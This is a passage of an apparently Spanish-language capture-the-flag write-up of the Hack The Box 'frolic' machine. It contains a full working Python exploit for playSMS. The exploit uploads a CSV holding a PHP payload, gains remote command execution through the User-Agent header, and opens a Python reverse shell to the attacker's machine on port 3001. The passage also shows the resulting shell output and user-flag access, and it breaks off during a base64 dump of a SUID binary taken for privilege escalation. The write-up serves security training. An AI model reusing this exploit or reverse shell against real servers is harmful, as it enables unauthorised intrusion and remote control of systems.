</span></span><span style="display:flex;"><span>meterpreter &gt; ls
</span></span><span style="display:flex;"><span>Listing: /var/www/html/playsms
</span></span><span style="display:flex;"><span>==============================
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Mode              Size   Type  Last modified              Name
</span></span><span style="display:flex;"><span>----              ----   ----  -------------              ----
</span></span><span style="display:flex;"><span>100644/rw-r--r--  2908   fil   2018-09-23 05:52:15 -0500  config-dist.php
</span></span><span style="display:flex;"><span>100644/rw-r--r--  2904   fil   2018-09-23 05:52:15 -0500  config.php
</span></span><span style="display:flex;"><span>40755/rwxr-xr-x   4096   dir   2018-09-23 05:52:15 -0500  inc
</span></span><span style="display:flex;"><span>100644/rw-r--r--  3205   fil   2018-09-23 05:52:15 -0500  index.php
</span></span><span style="display:flex;"><span>100444/r--r--r--  13466  fil   2018-10-15 12:16:46 -0500  init.php
</span></span><span style="display:flex;"><span>40755/rwxr-xr-x   4096   dir   2018-09-23 05:52:15 -0500  lib
</span></span><span style="display:flex;"><span>40755/rwxr-xr-x   4096   dir   2018-09-23 05:52:15 -0500  plugin
</span></span><span style="display:flex;"><span>40755/rwxr-xr-x   4096   dir   2018-09-23 05:52:15 -0500  storage
</span></span></code></pre></div><p>Hemos podido identificar correctamente el exploit al cual es vulnerable esta aplicación que básicamente consiste en subir un archivo CVS que contiene código en PHP que ejecuta el contenido de las variables que controla el browser como User-Agent. La verdad me gusto mucho lo simple que era este exploit, por lo que decidí hacer mi propia versión:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#75715e">#!/usr/bin/env python2</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> requests<span style="color:#f92672">,</span> re<span style="color:#f92672">,</span> random<span style="color:#f92672">,</span> netifaces
</span></span><span style="display:flex;"><span><span style="color:#f92672">from</span> bs4 <span style="color:#f92672">import</span> BeautifulSoup
</span></span><span style="display:flex;"><span><span style="color:#f92672">from</span> pwn <span style="color:#f92672">import</span> <span style="color:#f92672">*</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">req_url</span>(url, session):
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">try</span>:
</span></span><span style="display:flex;"><span>        res <span style="color:#f92672">=</span> session<span style="color:#f92672">.</span>get(url)
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">except</span>:
</span></span><span style="display:flex;"><span>        print <span style="color:#e6db74">&#34;Error al conectarse con la url </span><span style="color:#e6db74">%s</span><span style="color:#e6db74">.&#34;</span> <span style="color:#f92672">%</span> url
</span></span><span style="display:flex;"><span>        exit(<span style="color:#ae81ff">1</span>)
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> res
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">res_csrftoken</span>(res):
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">try</span>:
</span></span><span style="display:flex;"><span>        soup <span style="color:#f92672">=</span> BeautifulSoup(res<span style="color:#f92672">.</span>content,features<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;lxml&#34;</span>)
</span></span><span style="display:flex;"><span>        csrftoken <span style="color:#f92672">=</span> soup<span style="color:#f92672">.</span>find(<span style="color:#e6db74">&#39;input&#39;</span>, dict(name<span style="color:#f92672">=</span><span style="color:#e6db74">&#39;X-CSRF-Token&#39;</span>))[<span style="color:#e6db74">&#39;value&#39;</span>]
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">except</span>:
</span></span><span style="display:flex;"><span>        print <span style="color:#e6db74">&#34;No encontre un token.&#34;</span>
</span></span><span style="display:flex;"><span>        exit(<span style="color:#ae81ff">1</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> csrftoken
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">execute</span>(cmd, token, session, url):
</span></span><span style="display:flex;"><span>    warhead <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;&lt;?php $t=$_SERVER[&#39;HTTP_USER_AGENT&#39;]; system($t); ?&gt;&#34;</span>
</span></span><span style="display:flex;"><span>    payload <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;Name,Email,Department</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#39;</span>
</span></span><span style="display:flex;"><span>    payload <span style="color:#f92672">+=</span> <span style="color:#e6db74">&#39;</span><span style="color:#e6db74">{}</span><span style="color:#e6db74">,</span><span style="color:#e6db74">{}</span><span style="color:#e6db74">,</span><span style="color:#e6db74">{}</span><span style="color:#e6db74">&#39;</span><span style="color:#f92672">.</span>format(warhead, random<span style="color:#f92672">.</span>randint(<span style="color:#ae81ff">0</span>, <span style="color:#ae81ff">42</span>), random<span style="color:#f92672">.</span>randint(<span style="color:#ae81ff">0</span>, <span style="color:#ae81ff">42</span>))
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    headersPost <span style="color:#f92672">=</span> {<span style="color:#e6db74">&#39;user-agent&#39;</span>: cmd<span style="color:#f92672">.</span>replace(<span style="color:#e6db74">&#39;</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#39;</span>, <span style="color:#e6db74">&#39;&#39;</span>), <span style="color:#e6db74">&#39;Upgrade-Insecure-Requests&#39;</span>: <span style="color:#e6db74">&#39;1&#39;</span>}
</span></span><span style="display:flex;"><span>    filesPost <span style="color:#f92672">=</span> {<span style="color:#e6db74">&#39;X-CSRF-Token&#39;</span>: token, <span style="color:#e6db74">&#39;fnpb&#39;</span>: (<span style="color:#e6db74">&#39;notavirus.csv&#39;</span>, payload, <span style="color:#e6db74">&#39;text/csv&#39;</span>)}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">try</span>:
</span></span><span style="display:flex;"><span>        res <span style="color:#f92672">=</span> session<span style="color:#f92672">.</span>post(url <span style="color:#f92672">+</span> <span style="color:#e6db74">&#39;&amp;op=import&#39;</span>, headers<span style="color:#f92672">=</span>headersPost, files<span style="color:#f92672">=</span>filesPost)
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">except</span>:
</span></span><span style="display:flex;"><span>        print <span style="color:#e6db74">&#34;Fallo al tratar de acceder a &#39;</span><span style="color:#e6db74">{}</span><span style="color:#e6db74">&amp;op=import&#39;&#34;</span><span style="color:#f92672">.</span>format(url)
</span></span><span style="display:flex;"><span>        exit(<span style="color:#ae81ff">1</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    output(res)
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> res_csrftoken(res)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">output</span>(res):
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">try</span>:
</span></span><span style="display:flex;"><span>        soup <span style="color:#f92672">=</span> BeautifulSoup(res<span style="color:#f92672">.</span>content,features<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;lxml&#34;</span>)
</span></span><span style="display:flex;"><span>        print soup<span style="color:#f92672">.</span>find(<span style="color:#e6db74">&#39;table&#39;</span>, class_<span style="color:#f92672">=</span><span style="color:#e6db74">&#39;playsms-table-list&#39;</span>)<span style="color:#f92672">.</span>find(<span style="color:#e6db74">&#39;td&#39;</span>)<span style="color:#f92672">.</span>next_sibling<span style="color:#f92672">.</span>next_sibling
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">except</span>:
</span></span><span style="display:flex;"><span>        print <span style="color:#e6db74">&#34;Fallo al leer la salida.&#34;</span>
</span></span><span style="display:flex;"><span>        exit(<span style="color:#ae81ff">1</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">main</span>():
</span></span><span style="display:flex;"><span>    session <span style="color:#f92672">=</span>  requests<span style="color:#f92672">.</span>Session()
</span></span><span style="display:flex;"><span>    url_base <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;http://10.10.10.111:9999/playsms/&#34;</span>
</span></span><span style="display:flex;"><span>    url_login <span style="color:#f92672">=</span> url_base <span style="color:#f92672">+</span> <span style="color:#e6db74">&#34;index.php?app=main&amp;inc=core_auth&amp;route=login&#34;</span>
</span></span><span style="display:flex;"><span>    username <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;admin&#34;</span>
</span></span><span style="display:flex;"><span>    password <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;idkwhatispass&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    res <span style="color:#f92672">=</span> req_url(url_login, session)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    phpsessid <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;PHPSESSID=&#34;</span> <span style="color:#f92672">+</span> re<span style="color:#f92672">.</span>search(<span style="color:#e6db74">&#39;PHPSESSID=(.*?);&#39;</span>, res<span style="color:#f92672">.</span>headers[<span style="color:#e6db74">&#39;Set-Cookie&#39;</span>])<span style="color:#f92672">.</span>group(<span style="color:#ae81ff">1</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    csrftoken <span style="color:#f92672">=</span> res_csrftoken(res)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    headersPost <span style="color:#f92672">=</span> {<span style="color:#e6db74">&#39;Content-Type&#39;</span>: <span style="color:#e6db74">&#39;application/x-www-form-urlencoded&#39;</span>, <span style="color:#e6db74">&#39;Cookie&#39;</span>: phpsessid, <span style="color:#e6db74">&#39;Referer&#39;</span>: url_login}
</span></span><span style="display:flex;"><span>    paramsPost <span style="color:#f92672">=</span> {<span style="color:#e6db74">&#39;username&#39;</span>: username, <span style="color:#e6db74">&#39;password&#39;</span>: password, <span style="color:#e6db74">&#39;X-CSRF-Token&#39;</span>: csrftoken}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">try</span>:
</span></span><span style="display:flex;"><span>        res_auth <span style="color:#f92672">=</span> session<span style="color:#f92672">.</span>post(url_login <span style="color:#f92672">+</span> <span style="color:#e6db74">&#39;&amp;op=login&#39;</span>, data <span style="color:#f92672">=</span> paramsPost, headers <span style="color:#f92672">=</span> headersPost)
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">except</span>:
</span></span><span style="display:flex;"><span>        print <span style="color:#e6db74">&#34;Error al autenticarse con la pagina.&#34;</span>
</span></span><span style="display:flex;"><span>        exit(<span style="color:#ae81ff">1</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    url_phonebookimport <span style="color:#f92672">=</span> url_base <span style="color:#f92672">+</span> <span style="color:#e6db74">&#39;index.php?app=main&amp;inc=feature_phonebook&amp;route=import&#39;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    res <span style="color:#f92672">=</span> req_url(url_phonebookimport <span style="color:#f92672">+</span> <span style="color:#e6db74">&#39;&amp;op=list&#39;</span>, session)
</span></span><span style="display:flex;"><span>    csrftoken <span style="color:#f92672">=</span> res_csrftoken(res)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">while</span> <span style="color:#66d9ef">True</span>:
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">try</span>:
</span></span><span style="display:flex;"><span>            cmd <span style="color:#f92672">=</span> raw_input(<span style="color:#e6db74">&#39;$ &#39;</span>)
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">if</span> cmd<span style="color:#f92672">.</span>replace(<span style="color:#e6db74">&#39;</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#39;</span>,<span style="color:#e6db74">&#39;&#39;</span>) <span style="color:#f92672">==</span> <span style="color:#e6db74">&#34;exploit&#34;</span>:
</span></span><span style="display:flex;"><span>                revshell <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;python3 -c </span><span style="color:#ae81ff">\&#39;</span><span style="color:#e6db74">import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((</span><span style="color:#ae81ff">\&#34;</span><span style="color:#e6db74">&#34;</span> <span style="color:#f92672">+</span> netifaces<span style="color:#f92672">.</span>ifaddresses(<span style="color:#e6db74">&#39;tun0&#39;</span>)[netifaces<span style="color:#f92672">.</span>AF_INET][<span style="color:#ae81ff">0</span>][<span style="color:#e6db74">&#39;addr&#39;</span>] <span style="color:#f92672">+</span> <span style="color:#e6db74">&#34;</span><span style="color:#ae81ff">\&#34;</span><span style="color:#e6db74">,3001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([</span><span style="color:#ae81ff">\&#34;</span><span style="color:#e6db74">/bin/sh</span><span style="color:#ae81ff">\&#34;</span><span style="color:#e6db74">,</span><span style="color:#ae81ff">\&#34;</span><span style="color:#e6db74">-i</span><span style="color:#ae81ff">\&#34;</span><span style="color:#e6db74">]);</span><span style="color:#ae81ff">\&#39;</span><span style="color:#e6db74">&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>                csrftoken <span style="color:#f92672">=</span> execute(revshell, csrftoken, session, url_phonebookimport)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>            csrftoken <span style="color:#f92672">=</span> execute(cmd, csrftoken, session, url_phonebookimport)
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">except</span> <span style="color:#a6e22e">EOFError</span>:
</span></span><span style="display:flex;"><span>            exit(<span style="color:#ae81ff">1</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span> __name__ <span style="color:#f92672">==</span> <span style="color:#e6db74">&#39;__main__&#39;</span>:
</span></span><span style="display:flex;"><span>    main()
</span></span></code></pre></div><p>Como dato importante, es que la versión que uso de requests es la mas nueva (2.5.3) para python2. Le agregue como plus que si le paso como comando <code>exploit</code>, crearía un reverse shell hacia mi maquina en el puerto 3001. Tras ejecutar el script y ejecutar exploit, tendremos un acceso a frolic como www-data:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/htb/frolic$ python connect.py
</span></span><span style="display:flex;"><span>$ exploit
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/htb/frolic$ ncat -lnp 3001
</span></span><span style="display:flex;"><span>$ ls -lah
</span></span><span style="display:flex;"><span>ls -lah
</span></span><span style="display:flex;"><span>total 56K
</span></span><span style="display:flex;"><span>drwxr-xr-x  6 www-data www-data 4.0K Mar  2 21:37 .
</span></span><span style="display:flex;"><span>drwxr-xr-x 10 www-data www-data 4.0K Sep 23 17:33 ..
</span></span><span style="display:flex;"><span>-rw-r--r--  1 www-data www-data 2.9K Sep 23 16:22 config-dist.php
</span></span><span style="display:flex;"><span>-rw-r--r--  1 www-data www-data 2.9K Sep 23 16:22 config.php
</span></span><span style="display:flex;"><span>drwxr-xr-x  3 www-data www-data 4.0K Sep 23 16:22 inc
</span></span><span style="display:flex;"><span>-rw-r--r--  1 www-data www-data 3.2K Sep 23 16:22 index.php
</span></span><span style="display:flex;"><span>-r--r--r--  1 root     root      14K Sep 23 16:22 init.php
</span></span><span style="display:flex;"><span>drwxr-xr-x  3 www-data www-data 4.0K Sep 23 16:22 lib
</span></span><span style="display:flex;"><span>drwxr-xr-x  7 www-data www-data 4.0K Sep 23 16:22 plugin
</span></span><span style="display:flex;"><span>drwxr-xr-x  3 www-data www-data 4.0K Sep 23 16:22 storage
</span></span><span style="display:flex;"><span>-rw-r--r--  1 www-data www-data   36 Mar  3 01:07 z1.php
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>$ ls -lah /home/sahay /home/ayush
</span></span><span style="display:flex;"><span>ls -lah /home/sahay /home/ayush
</span></span><span style="display:flex;"><span>/home/ayush:
</span></span><span style="display:flex;"><span>total 36K
</span></span><span style="display:flex;"><span>drwxr-xr-x 3 ayush ayush 4.0K Sep 25 02:00 .
</span></span><span style="display:flex;"><span>drwxr-xr-x 4 root  root  4.0K Sep 23 17:56 ..
</span></span><span style="display:flex;"><span>-rw------- 1 ayush ayush 2.8K Sep 25 02:47 .bash_history
</span></span><span style="display:flex;"><span>-rw-r--r-- 1 ayush ayush  220 Sep 23 17:56 .bash_logout
</span></span><span style="display:flex;"><span>-rw-r--r-- 1 ayush ayush 3.7K Sep 23 17:56 .bashrc
</span></span><span style="display:flex;"><span>drwxrwxr-x 2 ayush ayush 4.0K Sep 25 02:43 .binary
</span></span><span style="display:flex;"><span>-rw-r--r-- 1 ayush ayush  655 Sep 23 17:56 .profile
</span></span><span style="display:flex;"><span>-rw------- 1 ayush ayush  965 Sep 25 01:58 .viminfo
</span></span><span style="display:flex;"><span>-rwxr-xr-x 1 ayush ayush   33 Sep 25 01:58 user.txt
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>/home/sahay:
</span></span><span style="display:flex;"><span>total 80K
</span></span><span style="display:flex;"><span>drwxr-xr-x   7 sahay sahay 4.0K Sep 25 02:45 .
</span></span><span style="display:flex;"><span>drwxr-xr-x   4 root  root  4.0K Sep 23 17:56 ..
</span></span><span style="display:flex;"><span>-rw-------   1 root  root   14K Sep 25 02:47 .bash_history
</span></span><span style="display:flex;"><span>-rw-r--r--   1 sahay sahay  220 Sep 23 14:08 .bash_logout
</span></span><span style="display:flex;"><span>-rw-r--r--   1 sahay sahay 3.7K Sep 23 14:08 .bashrc
</span></span><span style="display:flex;"><span>drwx------   3 sahay sahay 4.0K Sep 23 15:22 .cache
</span></span><span style="display:flex;"><span>drwxr-xr-x   3 root  root  4.0K Sep 23 15:22 .config
</span></span><span style="display:flex;"><span>drwxr-xr-x   3 root  root  4.0K Sep 23 15:22 .local
</span></span><span style="display:flex;"><span>-rw-------   1 root  root    87 Sep 23 15:21 .mysql_history
</span></span><span style="display:flex;"><span>drwxr-xr-x   4 root  root  4.0K Sep 23 17:32 .node-red
</span></span><span style="display:flex;"><span>drwxr-xr-x 316 sahay sahay  12K Sep 23 14:48 .npm
</span></span><span style="display:flex;"><span>-rw-r--r--   1 sahay sahay  655 Sep 23 14:08 .profile
</span></span><span style="display:flex;"><span>-rw-r--r--   1 sahay sahay    0 Sep 23 14:11 .sudo_as_admin_successful
</span></span><span style="display:flex;"><span>-rw-------   1 root  root  6.4K Sep 25 02:45 .viminfo
</span></span><span style="display:flex;"><span>-rw-r--r--   1 root  root   255 Sep 25 01:37 .wget-hsts
</span></span></code></pre></div><p>Como <code>user.txt</code> es global readable, podemos leerlo desde www-data</p>
<h1 id="cat-usertxt"><code>cat user.txt</code></h1>
<p><code>$ cat /home/ayush/user.txt</code></p>
<h1 id="privesc">PrivEsc</h1>
<p>Para el privilage escalation, encontramos un directorio interesante en el home de Ayush, el cual se llama <code>.binary</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>$ ls -lah /home/ayush/.binary
</span></span><span style="display:flex;"><span>ls -lah /home/ayush/.binary
</span></span><span style="display:flex;"><span>total 16K
</span></span><span style="display:flex;"><span>drwxrwxr-x 2 ayush ayush 4.0K Sep 25 02:43 .
</span></span><span style="display:flex;"><span>drwxr-xr-x 3 ayush ayush 4.0K Sep 25 02:00 ..
</span></span><span style="display:flex;"><span>-rwsr-xr-x 1 root  root  7.4K Sep 25 00:59 rop
</span></span></code></pre></div><p>Vemos que se trata de un binario que tiene un SETUID bit para root, pero lo que no le ayuda es que es global readeable y executable. Esto quiere decir que si el binario tiene alguna llamada a funciones que nos permitan elevar los permisos como otro usuario, pudiéramos ejecutar comandos como root.</p>
<p>Decidí extraer el binario para analizarlo por fuera, esto vía Base64:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>$ base64 /home/ayush/.binary/rop
</span></span><span style="display:flex;"><span>f0VMRgEBAQAAAAAAAAAAAAIAAwABAAAAoIMECDQAAABgGAAAAAAAADQAIAAJACgAHwAcAAYAAAA0
</span></span><span style="display:flex;"><span>AAAANIAECDSABAggAQAAIAEAAAUAAAAEAAAAAwAAAFQBAABUgQQIVIEECBMAAAATAAAABAAAAAEA
</span></span><span style="display:flex;"><span>AAABAAAAAAAAAACABAgAgAQIGAcAABgHAAAFAAAAABAAAAEAAAAIDwAACJ8ECAifBAggAQAAJAEA
</span></span><span style="display:flex;"><span>AAYAAAAAEAAAAgAAABQPAAAUnwQIFJ8ECOgAAADoAAAABgAAAAQAAAAEAAAAaAEAAGiBBAhogQQI
</span></span><span style="display:flex;"><span>RAAAAEQAAAAEAAAABAAAAFDldGTwBQAA8IUECPCFBAg0AAAANAAAAAQAAAAEAAAAUeV0ZAAAAAAA
</span></span><span style="display:flex;"><span>AAAAAAAAAAAAAAAAAAAABgAAABAAAABS5XRkCA8AAAifBAgInwQI+AAAAPgAAAAEAAAAAQAAAC9s
</span></span><span style="display:flex;"><span>aWIvbGQtbGludXguc28uMgAABAAAABAAAAABAAAAR05VAAAAAAACAAAABgAAACAAAAAEAAAAFAAA
</span></span><span style="display:flex;"><span>AAMAAABHTlUAWdqRwQDROMZit3Yntl77vJ95c5QCAAAABwAAAAEAAAAFAAAAACAAIAAAAAAHAAAA
</span></span><span style="display:flex;"><span>rUvjwAAAAAAAAAAAAAAAAAAAAAAtAAAAAAAAAAAAAAASAAAAIQAAAAAAAAAAAAAAEgAAACgAAAAA
</span></span><span style="display:flex;"><span>AAAAAAAAABIAAABGAAAAAAAAAAAAAAAgAAAANAAAAAAAAAAAAAAAEgAAABoAAAAAAAAAAAAAABIA
</span></span><span style="display:flex;"><span>AAALAAAAvIUECAQAAAARABAAAGxpYmMuc28uNgBfSU9fc3RkaW5fdXNlZABzZXR1aWQAc3RyY3B5
</span></span><span style="display:flex;"><span>AHB1dHMAcHJpbnRmAF9fbGliY19zdGFydF9tYWluAF9fZ21vbl9zdGFydF9fAEdMSUJDXzIuMAAA
</span></span><span style="display:flex;"><span>AAACAAIAAgAAAAIAAgABAAEAAQABAAAAEAAAAAAAAAAQaWkNAAACAFUAAAAAAAAA/J8ECAYEAAAM
</span></span><span style="display:flex;"><span>oAQIBwEAABCgBAgHAgAAFKAECAcDAAAYoAQIBwUAABygBAgHBgAAU4PsCOi7AAAAgcPrHAAAi4P8
</span></span><span style="display:flex;"><span>////hcB0BehmAAAAg8QIW8MA/zUEoAQI/yUIoAQIAAAAAP8lDKAECGgAAAAA6eD/////JRCgBAho
</span></span><span style="display:flex;"><span>CAAAAOnQ/////yUUoAQIaBAAAADpwP////8lGKAECGgYAAAA6bD/////JRygBAhoIAAAAOmg////
</span></span><span style="display:flex;"><span>/yX8nwQIZpAAAAAAAAAAADHtXonhg+TwUFRSaKCFBAhoQIUECFFWaJuEBAjor/////RmkGaQZpBm
</span></span><span style="display:flex;"><span>kGaQZpBmkIscJMNmkGaQZpBmkGaQZpC4K6AECC0ooAQIg/gGdhq4AAAAAIXAdBFVieWD7BRoKKAE
</span></span><span style="display:flex;"><span>CP/Qg8QQyfPDkI10JgC4KKAECC0ooAQIwfgCicLB6h8B0NH4dBu6AAAAAIXSdBJVieWD7BBQaCig
</span></span><span style="display:flex;"><span>BAj/0oPEEMnzw410JgCNvCcAAAAAgD0ooAQIAHUTVYnlg+wI6Hz////GBSigBAgByfPDZpC4EJ8E
</span></span><span style="display:flex;"><span>CIsQhdJ1BeuTjXYAugAAAACF0nTyVYnlg+wUUP/Sg8QQyel1////jUwkBIPk8P9x/FWJ5VNRicuD
</span></span><span style="display:flex;"><span>7AxqAOjK/v//g8QQgzsBfxeD7AxowIUECOiV/v//g8QQuP/////rGYtDBIPABIsAg+wMUOgSAAAA
</span></span><span style="display:flex;"><span>g8QQuAAAAACNZfhZW12NYfzDVYnlg+w4g+wI/3UIjUXQUOhD/v//g8QQg+wMaN2FBAjoI/7//4PE
</span></span><span style="display:flex;"><span>EIPsDI1F0FDoFP7//4PEEJDJw2aQZpBmkGaQZpBmkGaQVVdWU+iH/v//gcO3GgAAg+wMi2wkII2z
</span></span><span style="display:flex;"><span>DP///+ir/f//jYMI////KcbB/gKF9nQlMf+NtgAAAACD7AT/dCQs/3QkLFX/lLsI////g8cBg8QQ
</span></span><span style="display:flex;"><span>Ofd144PEDFteX13DjXYA88MAAFOD7AjoI/7//4HDUxoAAIPECFvDAwAAAAEAAgBbKl0gVXNhZ2U6
</span></span><span style="display:flex;"><span>IHByb2dyYW0gPG1lc3NhZ2U+AFsrXSBNZXNzYWdlIHNlbnQ6IAABGwM7MAAAAAUAAABA/f//TAAA
</span></span><span style="display:flex;"><span>AKv+//9wAAAACP///6QAAABQ////xAAAALD///8QAQAAFAAAAAAAAAABelIAAXwIARsMBASIAQAA
</span></span><span style="display:flex;"><span>IAAAABwAAADs/P//YAAAAAAOCEYODEoPC3QEeAA/GjsqMiQiMAAAAEAAAAAz/v//XQAAAABEDAEA
</span></span><span style="display:flex;"><span>RxAFAnUARA8DdXgGEAMCdXwCSMEMAQBBw0HFQwwEBBwAAAB0AAAAXP7//zoAAAAAQQ4IhQJCDQV2
</span></span><span style="display:flex;"><span>xQwEBAAASAAAAJQAAACE/v//XQAAAABBDgiFAkEODIcDQQ4QhgRBDhSDBU4OIGkOJEQOKEQOLEEO
</span></span><span style="display:flex;"><span>ME0OIEcOFEHDDhBBxg4MQccOCEHFDgQAABAAAADgAAAAmP7//wIAAAAAAAAAAAAAAAAAAAAAAAAA
</span></span><span style="display:flex;"><span>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
</span></span><span style="display:flex;"><span>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
</span></span><span style="display:flex;"><span>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
</span></span><span style="display:flex;"><span>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
</span></span><span style="display:flex;"><span>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
</span></span><span style="display:flex;"><span>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
</span></span><span style="display:flex;"><span>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
</span></span><span style="display:flex;"><span>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
</span></span><span style="display:flex;"><span>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
</span></span><span style="display:flex;"><span>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
</span></span><span style="display:flex;"><span>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
</span></span><span style="display:flex;"><span>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
</span></span><span style="display:flex;"><span>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
</span></span><span style="display:flex;"><span>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
</span></span><span style="display:flex;"><span>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
</span></span><span style="display:flex;"><span>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
</span></span><span style="display:flex;"><span>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
